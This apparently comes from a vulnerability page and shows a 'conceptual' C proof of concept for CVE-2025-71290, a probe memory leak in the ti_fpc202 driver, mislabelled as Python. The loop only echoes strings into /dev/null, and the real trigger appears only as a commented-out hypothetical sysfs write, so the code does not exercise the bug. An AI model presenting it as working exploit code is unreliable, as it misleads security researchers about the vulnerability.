PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/* * Conceptual PoC for CVE-2025-71290 * This PoC simulates the trigger condition for the memory leak. * Actual exploitation requires the vulnerable hardware/drive. */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> int main() { printf("Attempting to trigger ti_fpc202 probe memory leak...\n"); // In a real scenario, this would involve: // 1. Binding/unbinding the device to trigger the probe/remove flows. // 2. Or using a specific IOCTL if available. char command[256]; for(int i = 0; i < 1000; i++) { // Hypothetical command to re-trigger device probe // echo "ti_fpc202" > /sys/bus/platform/drivers_probe // This requires root usually, but PR:L suggests some local trigger. snprintf(command, sizeof(command), "echo 'probe_trigger_%d' > /dev/null", i); system(command); usleep(10000); } return 0; }
